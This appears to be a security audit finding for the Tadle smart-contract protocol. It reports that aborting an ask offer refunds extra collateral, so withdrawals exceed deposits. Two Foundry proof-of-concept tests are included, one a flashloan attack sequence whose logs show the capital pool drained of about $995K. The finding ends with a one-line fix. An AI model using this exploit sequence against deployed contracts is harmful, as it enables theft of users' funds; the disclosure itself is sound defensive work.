Summary
When a maker aborts her ask offer, the refunded amount to the maker includes the extra collateral (based on collateral rate). While, since the maker is aborting and is not keeping her promise to give points to the takers, it is expected that maker's extra collateral should be locked as punishment and be added to the balance of the taker. This is not implemented properly.
This miscalculation leads to some critical issues:
If taker closes his bid order after the maker aborts, the total withdrawable collateral amount from the protocol would be higher than total deposited collateral amount into the protocol. This breaks the main invariant of the protocol.
The maker by aborting her offer does not lose anything, so there is no incentive for ask-makers to keep their promises. While one of the main role of collateral rate is that if the ask maker is not keeping her promise, they will lose depositedAmount * collateralRate.
The flow of bug is:
Maker creates an ask offer createOffer
Taker places a bid order createTaker
Maker aborts her offer abortAskOffer (bug happens here)
Taker closes his bid order closeBidTaker
Please note that this bug may seem similar to another finding with title Aborted bid-taker will not fully receive the collateral from the aborted ask-maker, but the root cause and impacts are different.
Vulnerability Details
Suppose Alice(maker) creates a turbo ask offer to buy 1000 points for $1 with collateral rate of 12000 (equivalent to 120%). So, Alice deposits $1.2 into the protocol. She does so by calling createOffer.
Then, Bob(taker) places a bid order against Alice's offer to sell 1000 points to her, so he deposits $1. He does so by calling createTaker. Now we have:
userTokenBalanceMap[Alice][USDC][TokenBalanceType.SalesRevenue] = $1
Then Alice for any reason aborts her offer by calling abortAskOffer. Since the used points is 1000 (Bob already placed an order to buy 1000 points from Alice, so Alice's offer used points is 1000), she is refunded only $0.2, because transferAmount = $1.2andtotalUsedAmount = \$1\.
uint256 remainingAmount;
if (offerInfo.offerStatus == OfferStatus.Virgin) {
remainingAmount = offerInfo.amount;
} else {
remainingAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
}
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
remainingAmount,
true,
Math.Rounding.Floor
);
uint256 totalUsedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Ceil
);
uint256 totalDepositAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
totalUsedAmount,
false,
Math.Rounding.Ceil
);
uint256 makerRefundAmount;
if (transferAmount > totalDepositAmount) {
makerRefundAmount = transferAmount - totalDepositAmount;
} else {
makerRefundAmount = 0;
}
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
makerRefundAmount
);
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L584-L629
So we will have:
userTokenBalanceMap[Alice][USDC][TokenBalanceType.MakerRefund] = $0.2
It shows that so far Alice received in total $1.2 into her balance as SalesRevenue and MakerRefund. This is an issue because Alice is aborting her offer and she is not keeping her promise to give points to Bob, so $0.2 from her collateral should be locked as punishment and be transferred to Bob.
Then, if Bob calls the function closeBidTaker to get his fund back, he will receive $1.2 as RemainingCash into his balance. Because, when Alice's offer is aborted, it is tagged as settled, but her settled points is zero, while her offer's used points is 1000. Thus, all Alice's collateral which is equal to $1.2 will be dedicated to Bob.
uint256 collateralFee;
if (offerInfo.usedPoints > offerInfo.settledPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
}
uint256 userCollateralFee = collateralFee.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
userCollateralFee
);
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L185
So we sill have:
userTokenBalanceMap[Bob][USDC][TokenBalanceType.RemainingCash] = $1.2
Summary:
Now, let's view it from top:
Alice, when creating an ask offer, deposits $1.2 into the protocol. So, the balance of protocol is now $1.2.
Then Bob places an order against Alice's offer and deposits $1 into the protocol. So, the total balance of protocol is now 1 + 1.2 = $2.2.
So, the total deposited amount into the protocol is $2.2, while total withdrawable from the protocol is Alice's SalesRevenue + Alice's MakerRefund + Bob's RemainingCash = 1 + 0.2 + 1.2 = $2.4.
So, $0.2 is miscalculation. This is breaking the main invariants of the protocol.
PoC1 (normal scenario)
In the following test Alice creates a turbo ask offer to sell 1000 points for $1 with collateral rate 12000 (equivalent to 120%), and Bob places a bid order to buy all those 1000 points.
Later, Alice aborts her offer by calling abortAskOffer, and then Bob calls closeBidTaker. The output shows that total withdrawable is $2.4 while total deposited amount is $2.205 ($0.005 is as platform fee paid by the taker).
Logs:
Bob balance of USDC in the protocol as RemainingCash: 1200000000000000000
Alice balance of USDC in the protocol as SalesRevenue: 1000000000000000000
Alice balance of USDC in the protocol as MakerRefund: 200000000000000000
protocol USDC deposited amount: 2205000000000000000
function test_aborting() public {
address Alice = vm.addr(10);
address Bob = vm.addr(11);
uint protocolUSDCBalanceBefore = mockUSDCToken.balanceOf(
address(capitalPool)
);
vm.startPrank(Alice);
deal(address(mockUSDCToken), Alice, 1.2 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(Alice);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
0,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(Bob);
deal(address(mockUSDCToken), Bob, type(uint256).max);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
vm.startPrank(Alice);
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offerAddr);
vm.stopPrank();
vm.startPrank(Bob);
address stock1Addr = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stock1Addr);
vm.stopPrank();
console.log(
"Bob balance of USDC in the protocol as RemainingCash: ",
tokenManager.userTokenBalanceMap(
address(Bob),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
)
);
console.log(
"Alice balance of USDC in the protocol as SalesRevenue: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
)
);
console.log(
"Alice balance of USDC in the protocol as MakerRefund: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
)
);
uint protocolUSDCBalanceAfter = mockUSDCToken.balanceOf(
address(capitalPool)
);
console.log(
"protocol USDC deposited amount: ",
protocolUSDCBalanceAfter - protocolUSDCBalanceBefore
);
}
The output is:
Logs:
Bob balance of USDC in the protocol as RemainingCash: 1200000000000000000
Alice balance of USDC in the protocol as SalesRevenue: 1000000000000000000
Alice balance of USDC in the protocol as MakerRefund: 200000000000000000
protocol USDC deposited amount: 2205000000000000000
PoC2 (Flashloan attack)
In the following test, it is assumed that CapitalPoo has $10M.
An attacker takes $4M flashloan of USDC.
Then, he creates an ask offer to buy 1 point for $1M with collateral rate 20000 (equivalent to 200%).
Then, he places a bid order to buy that 1 point.
Then, he aborts his ask offer.
Then, he closes his bid order.
Then, he withdraws from the protocol.
Then, he repays the flashloan.
The output shows that the attacker takes $4M flashloan, and in total he deposits $3.05M into the protocol, while he withdraws $4M. So, he gains $995K.
The output is:
Logs:
Attacker balance of USDC in the protocol as RemainingCash: 2000000000000000000000000
Attacker balance of USDC in the protocol as SalesRevenue: 1000000000000000000000000
Attacker balance of USDC in the protocol as MakerRefund: 1000000000000000000000000
protocol USDC loss: 995000000000000000000000
attacker USDC gain: 995000000000000000000000
function test_flashloan() public {
deal(
address(mockUSDCToken),
address(capitalPool),
10_000_000 * 10 ** 18
);
capitalPool.approve(address(mockUSDCToken));
address Attacker = vm.addr(10);
uint flashloanAmount = 4_000_000 * 10 ** 18;
uint protocolUSDCBalanceBefore = mockUSDCToken.balanceOf(
address(capitalPool)
);
uint attackerUSDCBalanceBefore = mockUSDCToken.balanceOf(
address(Attacker)
);
vm.startPrank(Attacker);
deal(address(mockUSDCToken), Attacker, flashloanAmount);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1,
1_000_000 * 1e18,
20000,
0,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1);
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offerAddr);
address stock1Addr = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stock1Addr);
console.log(
"Attacker balance of USDC in the protocol as RemainingCash: ",
tokenManager.userTokenBalanceMap(
address(Attacker),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
)
);
console.log(
"Attacker balance of USDC in the protocol as SalesRevenue: ",
tokenManager.userTokenBalanceMap(
address(Attacker),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
)
);
console.log(
"Attacker balance of USDC in the protocol as MakerRefund: ",
tokenManager.userTokenBalanceMap(
address(Attacker),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
)
);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.RemainingCash
);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
uint protocolUSDCBalanceAfter = mockUSDCToken.balanceOf(
address(capitalPool)
);
uint attackerUSDCBalanceAfter = mockUSDCToken.balanceOf(
address(Attacker)
);
console.log(
"protocol USDC loss: ",
protocolUSDCBalanceBefore - protocolUSDCBalanceAfter
);
console.log(
"attacker USDC gain: ",
attackerUSDCBalanceAfter -
attackerUSDCBalanceBefore -
flashloanAmount
);
vm.stopPrank();
}
Impact
Breaking the main invariant of the protocol as the total deposited collateral amount would be lower than total withdrawable collateral amount.
The ask makers will not be incentivized to keep their promises.
Draining the protocol.
Tools Used
Recommendations
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
remainingAmount,
false,
Math.Rounding.Floor
);
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L599
